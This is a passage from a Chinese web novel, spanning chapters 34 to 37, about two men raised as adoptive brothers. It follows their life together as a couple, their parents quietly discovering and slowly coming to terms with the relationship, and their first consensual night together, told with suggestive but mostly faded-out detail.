章长叙这才感知到了自己的呼吸,快步走去,“宁宁?” 章长宁听见他的呼唤,从厨房探出半个身子,“哥,你醒啦?真准时~我刚准备叫你起床呢。” “一醒来就看不见你人。” 章长叙直接抱住了他,将脑袋埋在他的颈窝,“你要吓死我啊?” “……” 章长宁愣了愣,连忙伸手拍了拍他的后背,“我、我给你做早餐呢,那里都没去。” 章长叙彻底缓过神,放松了怀抱的力度,“给我做早餐?” “嗯!” 章长宁从他的怀抱中退出来,拿起厨台上精致摆盘的早餐,得意炫耀,“西式培根煎蛋贝果,怎么样?做得不错吧?” 昨天沈眠带着佣人来收拾的时候,给他们的冰箱填得满满当当的。 章长宁在国外这几年,只会点煎蛋的西式早餐,于是就拿出碱水贝果,喷水加热,顺势又煎了鸡蛋和培根。 “我还热了牛奶,对了,妈还让人带了咖啡机和咖啡豆,你要吗?” 章长叙嘴角扬了扬,“都可以。” 章长宁催促他,“那你先去洗漱吧,我给你磨咖啡豆去。” “好。” 章长叙心里的紧张一消而散,反倒被无穷无尽的幸福感充盈着。 他抓紧时间洗漱、换衣完毕,等到再回到小餐厅时,章长宁已经将全部的早餐都端了上来。 两人的视线一对上,章长宁的得意劲就藏不住,“铛铛铛~夸我!” 章长叙笑着扯开椅子,“辛苦宁宁了,看起来很不错。” 章长宁将刀叉递了过去,“我只会点简单现成的,哥,你先试试?” 章长叙问,“你什么时候醒的?怎么突然想着给我做早餐了?” “说来也奇怪,今天是自然醒,我看时间来得及,就先起床了。” 章长宁没急着吃,而是将双人份的早餐拍下、发到了家庭群里报备,“妈不是担心,我们俩出来住会不按时吃一日三餐吗?” “而且我想着,你医院工作辛苦、费脑力也费体力,总得填饱肚子再上班。” “我可以自己做,也可以去外面买。” 章长叙怕章长宁辛苦,“你平时最爱赖床了,可以趁着这点时间多睡一会儿,别那么辛苦。” “这点量算什么辛苦?我很乐意啊。” 章长宁咬了一口培根,又说,“哥,我想过了,我们俩上班时间反正撞不上,我也不需要按时打卡上班。” “以后我可以起来给你做早餐,等你出门了,我再睡个回笼觉,睡饱了正好可以工作。” 他说起这话时神采奕奕的,让章长叙几乎挪不开视线。 “……” 章长宁晃了晃叉子,改了称呼,“章医生,怎么样呀?” “你开心就好。”章长叙顺着他的意愿,但还是表示,“宁宁,但这绝对不是强制性的,更不是你必须要做的义务,我也可以给你做。” “我知道啊。” 章长宁应得轻快,毫不避讳章长叙的眼神交流,“但我们现在是恋人,是两个人生活在一起,所以我不希望永远都是我在依靠你、你在照顾我。” 爱是相互分担依靠,绝对不是一味地索取。 章长叙脸上的笑意更浓,紧盯着章长宁不放,“嗯。” 章长宁这下子被他的视线盯得害羞了,哼哼唧唧,“赶紧吃吧!别以为离医院近了就不会迟到,章医生!” “嗯。” 两人解决完了早餐,又简单收拾了一下,章长叙就打算去上班了。 章长宁凑近抚了抚他的衬衫领口,“拜拜!” 章长叙吻了吻他的额头,“我们晚上出去吃?” 大概是填饱了肚子,这波困意又涌了上来,章长宁小小地打了一个哈欠,眯眼点头,“行啊,到时候微信联系。” “好。”章长叙捏了捏他的耳垂,“回房补个回笼觉吧,早安。” “嗯。” 家门关上。 章长宁一股脑地冲回了房间。 卧室内的窗帘还拉着,密不透光的,还像是黑夜一样,让人特别有睡意。 章长宁独自占领了全部的被子,将自己团团裹住,被子里带着一股浅淡的香气,闻着很舒服。 还没等章长宁酝酿睡意,屋外就响起了轻微的电子门的解锁声。 “……” 章长宁一惊,连忙从被窝里爬出来。 眨眼间,他就看见章长叙打开了房门,“哥?” 章长宁看着章长叙大步走到自己的面前,疑问,“你怎么回来了?是不是落东西了?唔~嗯……” 突然折返的章长叙弯腰扣住他的后脑勺,吻了上来。 章长宁瞪大眼睛,下意识地抓紧了手心里的被子,他没有抗拒这个突如其来的深吻,慢了半拍后就很配合地回应起来。 过了好一会儿,两人才难舍难分地松开。 章长宁的眼角弥漫出一丝水汽,说话声都软了些,“怎么突然就……” 章长叙用指腹蹭了一下他的嘴角,“我刚在等电梯的时候,突然很想吻你。” 章长宁滚了一下喉结,嘴角的笑意一点点扩开,“所以?” 章长叙接话,带着彼此才能感知的幸福,“所以,回来吻你。” 35、【第035章】 和其他情侣不一样的是,章长叙和章长宁早在同一个屋檐下生活了这么些年,已经熟知了彼此的生活习惯和脾性—— 这同居生活,两人自然过得得心应手。 章长叙工作的忙碌程度有增无减,有时候一天好几个小时都要待在手术台上,更甚至有一天超额完成了三台手术,让旁观者看着都觉得累得够呛。 章长宁当然也心疼,他自知在工作上帮不上忙,只好利用空余时间多学了几道菜,争取给章长叙一补到胃。 原本不算擅长的厨艺,在“给爱人做饭”的这点动力下,居然也提高了不少。 当然,章长叙只要得空就会包揽下厨乃至其他家务。 往往这种时候,章长宁乐得轻松、不和他争,揣着一小包零食就缩在沙发上,然后时不时冲他嘴甜几句。 转眼大半个月过去,空气里的暑气渐渐逼人,又到了章长叙的生日。 电梯门打开,透出章长宁的调侃,“三十岁了~就这么过,会不会太简单了?” “你还想要多复杂?” 章长叙一手提着从超市里买来的食材,一手牵着章长宁,“有你陪着,这就够了,而且我就不喜欢铺张浪费。” “也行吧。” 章长宁想到自己这几日偷偷摸摸的准备,有些小激动。 他晃了一下章长叙的手,一语双关,“买了这么些东西,今晚就看我给你大露一手!” “那我给你打下手?” “好。” 两人走到家门口,章长宁正打算去指纹解锁,结果下一秒,紧闭的家门就从里面打开了。 “……” “……” 视线相对,章长宁脸上的笑意微微凝固,几乎瞬间就抽开了被章长叙牵住的手,“爸,你、你怎么来了?” 说话的声线带着一丝心虚的颤抖,显然是怕章渡看见了不该看的。 章长叙提着食材的手也紧了紧,“爸。” 章渡的目光静静地落在他们的脸上,章长宁觉得自己的心提到了嗓子眼,好在下一秒,屋内又传来一声询问—— “是他们两兄弟回来了吗?” 是沈眠的声音。 章渡立马回应妻子,“是,是他们俩。” 他后撤腾出进屋的空间,“快进来吧,这是买了食材?” “嗯。” 章长叙看了章长宁一眼,率先提着东西进屋,“冰箱里快没东西了,所以和小弟约好了下班一块去采购。” 沈眠从厨房里走了出来,身上难得还穿着围裙。 章长宁凑近一看,才发现厨房的台面上已经摆满了很多食物,“妈,这些都是你做的?” “是啊,你爸给我打下手呢。” 沈眠稍微洗了一下手,笑道,“长叙今年就三十了,去年正好碰上你们大嫂生完念念、坐月子,就没替长叙庆生。” 她看向章长叙,“妈知道你不爱大操大办过生日,就和你爸商量着,买点东西上门,亲自下厨给你还有小宁补补。” “虽然简单了点,但好歹是爸妈的一点儿心意,想着你们下班回来也算一个惊喜,可惜啊,我和你爸太久没进厨房了了,这动作太慢了……” 章渡也跟着妻子笑开,“我们俩啊,心是好的,就是手脚太笨了。” 章长叙和章长宁对视一眼,后者狠狠松了一口气: 看着反应,应该是没发现他们俩在门口偷偷牵手的事,好险好险。 章长宁连忙走到沈眠的身边,说,“妈!二哥今天生日,让他休息,我来帮你打下手,我最近其实偷偷跟家里阿姨学了不少,也会做菜了。” “是吗?这么厉害。” 沈眠一向对每个孩子都是鼓励式教育,还故意打趣自己丈夫,“你爸在集团签合同签得快,进了厨房笨手笨脚的,让他和长叙在客厅待着去。” 章渡听见妻子的“数落”,也不吭声反驳。 章长叙嘴角微勾,“妈,要不我和小弟来?你和爸坐着休息?” “不用。” 章长宁和沈眠同时开口,沈眠补充,“要是放在平常,我也不管你们两人怎么安排家务事,今天你是寿星,就让你休息。” “就是就是!” 章长宁帮腔,“我来做,妈在边上看着我就好了,迟点让你们都尝尝我的手艺。” 章渡逗他,“真学会了?不会炸厨房吧?” 章长宁说,“爸!你太小看你儿子了!” 章长叙接了话,“嗯,进步了不少,至少不会把老抽和生抽混着用了,不会咸得需要兑水了。” “……” 章长宁转身就拉着沈眠进厨房,“妈,我们别理二哥了。” 沈眠感受着章长叙和章长宁相处时的那点氛围,眸光微晃,却也笑着哄他,“好,你做给妈妈看,妈今晚一定多吃点。” “嗯!” 章长叙回过视线,“爸,你去客厅坐一会儿吧?我回房间换间衣服就来陪你。” 章渡颔首,“嗯,你去吧。” 章长叙朝着左侧的主卧室走去,他看着紧闭的房门,似乎是想到了什么,神色凝了凝,这才按下门把手走了进去—— 章长宁向来上班比他迟,所以每天睡完回笼觉再起床后,被子总是乱糟糟地肆意摆放着,没有折叠整齐的习惯。 可这会儿被子平铺在了床上,一对枕头平铺着,就连多出来的两个靠枕也被整齐码放。 “……” 章长叙有了预感,只是迅速换好居家的衣服走了出去。 他出了卧室,正好和章渡的视线对上,厨房里传来章长宁炸呼呼的声音,好像正对着沈眠撒娇。 章长叙走近,眉眼间难得带上一丝不确定,“爸。” 章渡冲他淡定一笑,“今天你生日,轻松点,有什么事以后再说。” 章长叙心里有了答案,呼吸微缓,“好。” … 章长宁的厨艺是进步了很多,加上有沈眠的帮忙,母子两人倒是真弄出了一桌子像模像样的生日晚餐,味道也都还不错。 虽然章家人没有到齐,但这会儿一家四口照样吃得尽兴。 章渡看了一眼时间,“差不多了,阿眠我们回去吧,两个孩子也累了一天了,早点让他们休息。” 章长宁还有些舍不得,“才八点呢,不多留一会儿吗?” “不了。” 沈眠跟着起身,问,“老张开车在楼下等了?” 章渡点头,“嗯,我提早和他说过,让他八点来接。” 章长宁连忙跟着起身,“爸,妈,那我送你们下去。” “我去送吧。” 章长叙抢了话,“……正好有事想要和爸聊聊。” 章长宁听见这话,想起自己藏着的“生日礼物”,“那好吧。” 他点了点头,又绕到沈眠的身边抱了抱她,“妈,你们回去路上小心,到家了在群里报个平安。” 沈眠被他抱得心头一阵柔软,眸底泛起涟漪。 家里的几个孩子,只有章长宁是最黏人、最爱撒娇的,从小到大嘴甜又乖,总是轻易让她心软、感到幸福,甚至从来没有过苛责的念头。 她忍不住回抱了一下章长宁,抚摸着他的后背,“你爸陪着我回去呢,还要你操心啊?妈只希望,你好好的,你们几个孩子都好好的,幸福就好。” 章长宁没料到沈眠会突然认真交代,愣了两秒才回应,“嗯!妈妈,我现在就很幸福。” 沈眠笑叹一声,揉了揉他的脑袋,“……那就好。” 章渡说,“走吧,别让老张在车里等太久。” 章长叙跟着穿了鞋子,他看着还没收拾的餐桌,出门前交代,“宁宁,餐具别收拾了,等我回来弄。” 谁负责今天的做饭,另外一个人就负责洗碗,这是他们之间不成文的规定。 章长宁笑,“我就没打算动呢。” 沈眠和章渡对视一眼,携手走了出去,章长叙跟着往外走。 电梯直通负一层的地下车场。 司机老张已经将车停在了电梯口附近,章渡轻拍了一下妻子的腰,温柔叮嘱,“车库里有点凉,你先上车坐着,我和长叙聊两句。” 沈眠看了看丈夫,又看了看儿子,沉默着点了点头。 直到看着沈眠上了车、车门关上,章渡这才转过身来,向来温和的眼色里多出一丝严厉的审视,带着风雨欲来的低气压。 章长叙率先打破沉默,“爸,你有什么话就直接问吧。” 章渡问,“章长叙,是我想得那样吗?” “……” 章家从来不施行严厉教育,何况章长叙一贯叫人省心,他几乎从来没让章渡用如此严肃的口吻问过话。 可事到临头,章长叙也没打算撒谎,“是,我和长宁,是你们想得那样。” 章渡呼吸一抖,没急着说话。 他和沈眠今天上门的初衷,确实是为了给章长叙过生日,他们懂孩子们有自己的隐私、原本是没有打算多加触碰的。 只是卧室的大门敞开着,不等进屋就能将里面的布局看得清清楚楚。 “小宁这孩子,从小就不爱叠被子。” 沈眠一开始是没有多想,只是想着稍微给章长宁整理一下被子,只是在收拾被子的过程后,她就意识到了不对劲—— 枕头是一对的,靠枕也是一对的,床头柜上有章长宁的平板,但也有章长叙随手搁下的医学用书。 不仅如此,就连书桌上也混着摆放兄弟两人的物品。 沈眠察觉到了不对劲,但没有随意去触碰孩子们的东西,只是打开另外一间卧室门、站在门口看了看。 章渡看着章长叙,问,“谁家兄弟放着两间卧室不分开睡,偏偏要睡在同一间床上?” 夫妻两人在那一刻就有了猜想,但他们商量过后还是选择了“沉默”,毕竟今天是章长叙的生日,事有轻重缓急。 哪怕是看到了章长叙和章长宁牵手回家,章渡也没吭声、假装自己没看见。 章渡稳了稳心神,继续问,“你们什么时候开始的?你之前一直不考虑相亲,是不是因为小宁?” “爸,你听我说——” 章长叙早就组织好了语言,“我们俩对彼此不是亲兄弟这事心知肚明,确实很早就有了超出于亲情部分的感情,但一直没有说破。” “在柏续的身世查明前,我和宁宁都在压抑这份不该有的情感,也尝试过用自以为好的方式去推开彼此。” “直到柏续作为中间人、明眼人,看穿了我们,他明白我和宁宁之间隔着什么。” 章渡听见这番话,总算回过神,“怪不得,怪不得小续当初唯一的条件就是让小宁和我们解除领养关系?原来是在给你们清障碍?” 章长叙没有反驳,继续说明,“解除关系后,是我、是我先没忍住和宁宁挑明了,他一开始很震惊、很害怕,他怕对不起你们、让你们伤心,所以才会一声不吭地离开了家。” “……” 章渡听见这话,内心深处涌起些许不忍。 章长叙也好,章长宁也罢,两人都是他的孩子,他又怎么会不了解每个儿子的脾性呢? “后来,我参加了医院的公益义诊、到了甘南,又意外遇到了宁宁,几番波折后这才彻底说开了。” “爸,对不起,但感情这种事情,我控制不住,宁宁也控制不住,我是有计划要找时间告诉你们的,没想到……” 章长叙不想给自己找任何借口辩解,“对不起,但你和妈要怪就怪我,不要责怪宁宁,他、他本来就因为这事很有负担。” 章渡无奈地笑了声,反问,“你以为我和你妈今晚忍着、藏着不在小宁面前提起这事,是为了什么?” 还不是他们夫妻两人足够了解这两个孩子! 他们怕章长宁面对这事、心怀负担和愧疚再次离开,也怕章长叙三十岁的生日留下不算美好的记忆。 “爸,那你……”章长叙朝车的方向投去一眼,“和妈的意思是?” 章渡叹了口气,“我们要是反对,你会舍得反手?我们要是强烈阻止,你会乖乖听我们的?” 章长叙实话实说,语气格外坚定,“我不会放手。” “……” 章渡就知道会是这个答案。 他要是真以父亲的威严去逼迫两个孩子分手,只怕是会彻底伤了父子之间的感情,将他们越推越远。 “你妈说得对,手心手背都是肉,凡事有因才有果,你和小宁会走到这一步,终究还是因为当年我们先将小宁领回了家。” “长叙,爸妈的初衷是希望你们兄弟几人都能幸福,这点永远不会变。” 章渡说,“只是你应该知道,我们一向把长宁当成亲儿子、当成你的亲弟弟,哪怕我们再开明,也总得有过接受的过程。” “你们两人的感情摆在这里了,我和你妈反对没用是一回事,但要我们立刻接受也不可能,这需要时间。” “……” 比想象中的情况要好一些。 章长叙心弦微松,“爸,我明白你的意思。” 章渡又问,“既然小续知道,那延枭肯定也知道了?你们大哥呢?长风知道这事吗?” 章长叙没敢隐瞒,“嗯,知道。” “……你们这几个孩子,倒是一条心。” 章渡就猜到会是这样,他没再多加追问,只是下了软命令,“你和小宁近期先不要回家了,给我和你们妈妈一点儿时间,具体要多久,我一个人说了不算。” “在此之前,你先别和小宁说这事。” 章渡着重交代,“这是你妈的意思,她明白小宁付出更大的勇气和你在一起,她不想再让小宁觉得为难痛苦。” “好。” 章长叙知道这番话意味着什么,身为父母的章渡和沈眠已经极力退让了。 “回去吧,别让小宁等着急了。” 章渡摆了摆手,语气弱了不少,“我和你妈就先回去了。” 直到车子彻底驶离了地下停车场,章长叙还站在原地没动弹,五味杂陈。 从一开始,他就知道在这件事情上必须有人让步,他放弃不了章长宁,就只能祈求父母的谅解。 滋滋滋。 口袋里的手机响起了震动,是章长宁发给他的微信消息:“哥,你怎么还没上来啊?没出事吧?” 章长叙收拾了一下情绪,语音回答,“没有,我这就回去。” 章长宁的语音消息回得很快,还带着一丝浅浅的害羞,“哦,那你快点,我等你。” 36、【第036章】 章长叙回到家中时,章长宁已经将所有的餐具都收回洗碗池里了,客厅只亮了一盏小灯,主卧的房间门敞开着,透出浴室里的光亮。 章长叙换上拖鞋,喊了声,“宁宁。” 浴室门打开,章长宁探出身子,耳根子红得很明显,“哥,你回来啦?爸妈那边没出什么事情吧?感觉去了好久。” “没事,只是简单聊了聊集团的事……” 章长叙暂时没打算将这事告诉章长宁,他走近一看,原本想好的说辞卡在了喉中,眼色瞬间凝住。 “……” “……” 两人的视线对上。 章长叙就像是一台紧密的仪器,不疾不徐地将章长宁从头到脚扫了一遍—— 大概是刚淋浴完的缘故,眼前人的皮肤还泛着隐隐的水色,从脸到脖颈再到身前,甚至连手肘关节都透着诱人的粉色。 他没来得及换上睡袍,只穿了一件黑色内/裤,但裤子上隐约沾上了深色的水渍,一时分辨不出是什么。 章长叙不着痕迹地绷紧了下颚,“章长宁,你做什么?” 连名带姓,声线里藏着不可明说的压迫感。 “没、没做什么啊。” 章长宁矢口否认,说着就想要关上浴室的门。 章长叙眼疾手快地一拦,推门挤了进去,“躲什么?” 说着,他的视线就往洗手台上面看。 两个包装精致的盒子这会儿正摊开摆放,里面的东西被杂乱无序地拿了出来,甚至地上还掉了一张说明书。 章长宁脸颊爆红,拽住章长叙的手不让凑近看,“别去。” 虽然他早就做好了攻略和心理准备,但这到了这一步、被章长叙亲眼目睹,他觉得自己心脏都快要爆炸了。 章长叙反拉住他的手,将他带到洗手池的边上,离得近了,上面摆放的东西就彻底看清楚了—— 全是床上的情/事用品,最常见的,不常见的。 章长叙握着他的手隐隐用力,似笑非笑,“你倒是准备得够齐全的?” “哎呀,疼。” 章长宁故作挣扎,想要逃跑却被章长叙一把拽到了怀里,淋浴后的皮肤贴上眼前人微凉的衣料,惊得他又呜了一声。 章长叙忍无可忍地吻了下去,克制着力道咬了一下他的下唇,“什么时候准备的?” “就这几天啊,陆陆续续买好的。” 章长宁破罐子破摔,圈上他的臂膀,“反正我们早晚要做这种事的,不如就趁着今天你生日,试试看?正好你明天不上班。” 章长叙扫过洗手台上的各式玩意儿,“背着我研究明白了吗?” “理论知识是挺充足的,实践起来……好像不太行……” 章长宁也顾不得羞不羞耻,臊着脸说,“我看网上说,第一次不一定会舒服,得有个适应过程,得好好扩/张才行。” “我这不是想着……”他暗戳戳的小眼神往底下一瞄,哼唧,“能少遭罪就少遭罪嘛。” 所以,他才偷偷买了不少辅助工具,想着趁着洗澡的时间自个儿先试试,结果倒好,第一次用这些完全没经验,所以才给章长叙打了那通电话,想着一块研究算了。 结果听见章长叙开门进屋的声音后,章长宁突然涌起一股强烈的羞耻心,这才慌里慌张地将辅助液蹭到了裤子上。 “……” 章长叙没接话,眼中的笑意越来越浓。 章长宁郁闷坏了,总觉得自己自作聪明闹了笑话,“你还笑!” “没笑。” 章长叙吻了吻他的嘴角,哄道,“宁宁,你不用懂这些,你要是真那么想,那就把一切都交给我。” 章长宁不确定地应了一句,“啊?这样就可以吗?” “可以。” 章长叙又将他环抱在了身前,踹掉拖鞋就进了淋浴区,“你再陪我冲个澡。” 章长宁像个睡袋熊挂在章长叙的身上,不敢乱动,“洗澡就洗澡,你放我下来啊,待会儿摔倒了怎么办?” ——唰啦! 章长叙没接话,只是干脆将顶头的淋浴器打开,冒着热气的水铺天盖地地散了下来,章长宁下意识地低头闭眼,“唔!” 下一秒,章长叙就将他抵在了玻璃壁上,发狠地吻了上去。 …… ………… 流动的水成了章长叙最好的辅助,他随手将椰奶味的沐浴露和台面上的液体混合,热意弥漫中,淡香逐渐甜腻。 章长宁只觉得自己浑身像是着了火,滚烫得仿佛能将灵魂都燃尽,未知的恐惧、蛰伏依旧的爱/欲争夺着、操控着他的身体。 战场从浴室延伸到了主卧。 章长宁在章长叙的怀中疼到发颤,却也在对方又重又快的掠夺中,生出从未有过的上瘾滋味,渴望着更多。 他们在爱里睡去,又在欲/望苏醒中,一次不够,二次不休,三次不止…… …… 又一轮日落。 章长宁还没来得及抬眼皮,全身上下的痛感就席卷而来,睡意朦胧间,他有些委屈地哼了两声,直觉告诉他不能乱动。 “宁宁,醒了?” “……” 章长宁又闷闷地哼了声,不说话。 章长叙也不着急,伸手从他的脑袋开始揉,慢慢落到他的后颈,温柔哄着,“睁眼?” 章长宁倦卷地抬起眼皮,嗓音沙哑地判若两人,“嗯?早上了吗?” 话一开口,他就被自己吓了一跳。 章长叙暗笑,拿起床头柜上备了好几次的温水,“喝点?” 章长宁在他的帮助下努力挺起身子,咕噜噜地灌了自己几口,然后一把又栽了回去,只是倒得这一下有点重,疼得他又龇牙咧嘴的。 章长叙连忙帮忙揉按,“慢点。” 半杯水下肚,章长宁的思绪又回笼了一些,他看着密不透光的窗帘,“几点了?” “晚上七点。” “……” 章长宁愣住,不确定,“晚、晚上七点?” “嗯。” 章长叙如实说,“折腾得太累了,你睡了好久。” 章长宁一时没说话,脑海里的记忆是片段式的—— 他记得自己一开始是和章长叙在浴室里闹的,尝试到一半,他还是疼得想哭,站也站不住,搂也搂不稳,对方这才将他带回到了卧室。 一次?两次?还是三次? 记不清了。 后来他应该是昏昏沉沉地睡了过去,好像又迷迷糊糊地醒过来一次?结果什么都还没开口说呢,章长叙就又突然开始了新一轮的攻略。 这回的节奏倒是挺温柔的,只是从背后圈住他有所动作,章长宁被伺候得舒坦,不知不觉就又睡了过去。 章长叙见怀中人没吭声,主动问,“饿不饿?怎么叫你都喊不醒。” “不饿。” 章长宁这会儿感受不到饿,只觉得浑身的感觉都被某处占据了,“有点疼。” 他悄咪咪地说,“还感觉涨涨的,有异物感……” 明明都已经结束了,但感觉好像还在里面。 章长叙说,“第一次有这种感觉,正常,做多了就好了。” “……” 什么叫做多了就好了? 他现在会有这种感觉,根本就是昨晚疯过了头,做太多了吧! 章长宁哄着耳根子反驳,“你别用医生的口吻一本正经和我说这种话!好奇怪~” “那你要我怎么说?” 章长叙笑了声,附在他的耳边说悄悄话,“说我已经替你检查过了,确实有点红肿,上了点药,过两天就能好,好了就能……” “停!” 章长宁及时制止,改口,“我现在觉得饿了!哥,你去给我做点吃的。” 章长叙笑,“好,我记得搬家的时候,我从家里带来了一个加热软枕,我去找找给你垫上,然后再给你做吃的。” 他起身,拢了拢章长宁的被子,“垫在腰上热敷一下会舒服点。” 章长宁觉得不错,“你还有这东西呢?” “嗯。” 章长叙饶有深意地看向他,“本来就想着给你准备的。” 章长宁反应过来,睁大眼睛瞪大,“未雨绸缪啊章医生。” 章长叙又笑了声,“乖。” …… 章长宁是典型的“好了伤疤忘了疼”的乐天派,在章长叙的照顾下,他没两天就恢复了活蹦乱跳,甚至回想起那天的滋味,还暗戳戳地想着再来第二次。 但章长叙却一反常态,两人每晚手上安抚照旧,但每次都不会做到最后一步,章长宁还以为是身为医生的章长叙足够克制禁欲,直到对方又轮到了一天休假—— 这下子,章长宁是彻底明白了,章长叙不是不想,而是太想了! 一旦发起攻势就停不下来! 正常工作日晚上要是闹上这么一闹,别说章长宁第二天早上起不来,就连章长叙的医院工作都要迟到开天窗。 于是,两人逐渐升起一个默契: 只要章长叙第二天不上班,当晚就注定是个不眠之夜。 章长宁一开始还觉得自己能接受,毕竟,偷摸暗恋了这么些年、爱和欲/望又注定是分不开的,彼此都正年轻气盛的时候,来就来呗。 可问题在于—— 两人的体力根本不是一个级别,章长叙在床/事上远比他想象得要更疯狂、更激烈,每回纵情之后,他都得缓上那么一两天。 虽然只要他说“不要”,章长叙就一定会尊重他的意愿,但谁让他每回都不争气,被蛊得晕头转向,拒绝的话到了嘴边就变了意思。 到头来,“舒服”的是他,“受苦”的还是他! “……” 章长宁坐在办公室内,看着章长叙的医院排班表。 明天周日,又是休息。 不行!今晚说什么都得守住立场! 章长宁暗暗在心里发誓,考虑怎么“逃”起来比较合情合理,又不会显得自己很怂,正巧章长风发来了微信—— “小宁,今晚有个慈善拍卖晚宴,你有没有兴趣代表我们章家去凑凑热闹?” “我和你大嫂今天是结婚纪念日,打算出去单独庆祝,我问过小续了,他也会去,迟点等晚宴快结束了,我和你大嫂再去顺道接你回家?” 章长宁听见这话,立刻答应,“好呀好呀!” 说着,他又将这一消息发给了正在上班的章长叙,屏幕外的嘴角止不住地上扬:哥!我今晚回家肯定很迟!你累你先休息!不用等我! …… 章长宁原本想着慈善拍卖晚宴就是走个形式,重点是参宴的宾客们自由捐款献爱心,加上有柏续搭伙作陪,两人还能在宴会结束后单独约一场宵夜。 只可惜,计划赶不上变化,这场慈善晚宴到最后闹出了意料之外的风波—— 柏续和一名小火的娱乐圈演员发生了一点不愉快,在拍卖环节“争”了好几轮,当然,最后还是柏续棋高一着、摆了对方一道。 结果对方演员恼羞成怒,赶在宴会快结束的时候发难,章长宁自然帮着好友说话,反倒还遭到了对方明里暗里的贬低。 好在商延枭和章长风夫妇及时赶到,强行制止了这场单方面的、不必要的闹剧,不过这么一来,他和柏续的宵夜也算是泡汤了。 章长宁看着柏续和商延枭驱车离开,有些郁闷地叹了口气: 时间还早呢! “小弟。” 章长风喊他,“走吧,我们也送你回去。” “别啊大哥。”章长宁不好意思说明真实原因,“要不,我们去吃宵夜吧?晚宴上的东西好看不好吃,我还饿着呢。” 苏阳摇了摇头,“今晚是吃不成了,改天吧,你大哥今晚包了餐厅,我们两人实在是吃太撑了。” 章长宁又问,“那要不我们一块回家?说起来,我也好久没见爸妈了!” “……” 章长风和苏阳听见后半句话,心知肚明地对视了一眼。 就在两人纠结要怎么“婉拒”自家小弟的时候,一辆带着熟悉车牌的黑色车子开了过来、在他们面前停下。 章长宁瞥见从车上下来的章长叙,莫名其妙升起一阵心虚,下意识地就往章长风的身后一藏,“大哥,你救我。” 章长风和章长叙碰上视线,忍俊不禁,“今时不同往日,大哥是‘救’不了你了。” 说着,就把往边上一移,彻底露出了章长宁。 章长叙也不废话,“上车。” 章长宁主打一个老实巴交,“哦。” 苏阳被兄弟三人的互动看得发笑,转瞬就听见丈夫叮嘱,“阳阳,你先上我们家的车,我和长叙简单聊两句。” 苏阳大概猜到了什么,点了点头,“好。” 另一边,上了车的章长宁摇下车窗,“哥,你们聊什么呢?我也听听。” 章长风找借口,“聊公司的事,要听吗?” 章长叙在集团是有股份的,偶尔是需要了解一些事务变动。 章长宁没兴趣,默默摇上车窗,婉拒。 车外的章长风和章长叙默契对了一道眼神,特意往外走了几步,“哥,爸妈那边怎么样了?” 自从章渡和沈眠看破章长叙和章长宁的真正关系后,就没再催促过他们回家。 章长叙知道,父母只是无法阻止他们在一起,并不是已经完全同意、认可他们在一起。 章长风低声说,“爸问过我对你们的看法,我如实说了尊重你们,你们这几个周末没回去,但小续和延枭老是在他们面前晃着呢,他们两人感情好,潜移默化的,也能替你们松动爸妈的态度。” “长叙,你别太有负担,爸妈那边早知道、晚知道都是一样的,终究是要有个接受过程。” 或许是几个星期,或许是几个月,又或许是几年。 “爸妈其实很爱我们几个孩子,不会因为这件事情就和你、和小弟有隔阂,这点你不需要怀疑。” “反倒是小弟看着乐天派,其实因为身世、心思重,能藏着尽量先藏着吧。” 刚才章长宁突然说想要回家住,他和苏阳差点回答不上来。 “嗯,我知道。” 章长叙说,“不过,我觉着你们还是得想办法回家一趟,别看爸妈现在暗中软处理,不想你们回家、表面上不想看到你们,只怕是你们多在他们眼皮子晃晃,反而更让他们心软。” 章长叙笑了声,有些无可奈何,“回家还得想办法找理由。” 章长风拍了拍他的肩膀,“等我忙过这一阵,借我生日的名义,一家人再碰碰?” “好。” 话音刚落,章长宁就又将车窗摇了下来,眼巴巴地盯着他们两人,“大哥,二哥,你们嘀嘀咕咕好了没有?” “好了。” 章长风笑,示意章长叙,“去吧,别让小弟等急了,路上开车小心。” “嗯,哥,你也是。” … 砰! 章长叙上了车,将车门轻巧一带。 章长宁观察着他的神色,自觉应该还没有露馅,“哥,今天工作累不累呀?饿吗?要不要吃点宵夜?” 章长叙知道他打的小算盘,反问,“哦,这么关心我呢?” “瞧你这话说的,我什么时候不关心你了~” “我还以为你是怕太早回家、太容易发生点什么,所以想尽办法往外溜呢。” “……” 章长宁沉默,闷咳两声,“有这么明显吗?” 章长叙无奈发笑,趁着红灯的功夫牵住他的手,认真说,“宁宁,你要是不想,我不会勉强你的。” “我知道,我也没有不想。” 章长宁反过来和他十指紧扣,也没有不好意思,“我只是觉得我自己太没自制力,每次你一亲我,我、我就忍不住也想要。” “……” “哥,虽然我没和别人做过这种事,但我就觉得你很厉害。” “……” 章长宁默默说完心里话,扭头看向一言不发的章长叙,“哥?你怎么了?” 章长叙深深地看了他一眼,不着痕迹地握紧了两人十指紧扣的手,然后故作镇定地松开,“嗯,知道了。” 红灯倒计时结束,向来稳速开车的章长叙直接一脚油门冲了出去。 37、【第037章】 滋滋滋。 恼人的手机振动响了起来。 章长叙没两秒就从睡梦中醒了过来,紧蹙的眉心存着一丝对未知的防备,朝着声源看去—— 手机屏幕还在持续亮着,来电震动不停。 “……” 章长叙回过神,拿起手机接通,“喂?” 嗓音很沉,也有点哑,显然是刚睡醒的缘故。 电话那头的商延枭愣了两秒,“在睡觉?吵醒你了?” “嗯。” 章长叙又靠会柔软的枕头上,藏在被窝里的另一只手忍不住揉了揉章长宁的腰,立刻换来对方在睡梦中的一声不满。 “别动我,烦人。” 章长宁咕噜完这句更像是撒娇的警告,转身就背对着章长叙。 章长叙盯着他后脑勺上睡乱的小呆毛,仅存的那点起床气消散干净,然后就听见电话那头的好友揶揄,“这都中午十二点了,难得见你会赖床不起。” 章长叙也没反驳,“什么事?” “明天有空吗?” “有。” “那就行。”商延枭人逢喜事精神爽,语气是少有的轻快,“我和阿续明天领证。” 章长叙眉梢微挑,真心实意,“恭喜啊。” 商延枭继续说,“阿续说发消息给小宁没回,所以让我打电话告诉你,明天借着我和阿续领证这喜事,你们俩回别墅一趟?” “可别说我们俩没帮你——”商延枭意有所指,“已经和爸妈那边说好了,全家人一块坐着吃顿饭。” 章长叙说,“你现在这‘爸妈’叫得还挺欢?是不是也该改叫我一声哥了?” 商延枭回答,“想得美,挂了。” “等等。” 两人从小就认识,关系自然是好得不用多讲。 但此刻,章长叙还是发自内心感谢,毕竟对方这件喜事一出,确实给了他和章长宁一个名正言顺回家的理由。 “延枭,谢了。” “和我瞎客气什么?一家人不说这个。”商延枭明白章长叙这段时间的内心压力,“行了,与其在这儿感谢我,你还不如好好反思一下你自己。” “什么?” 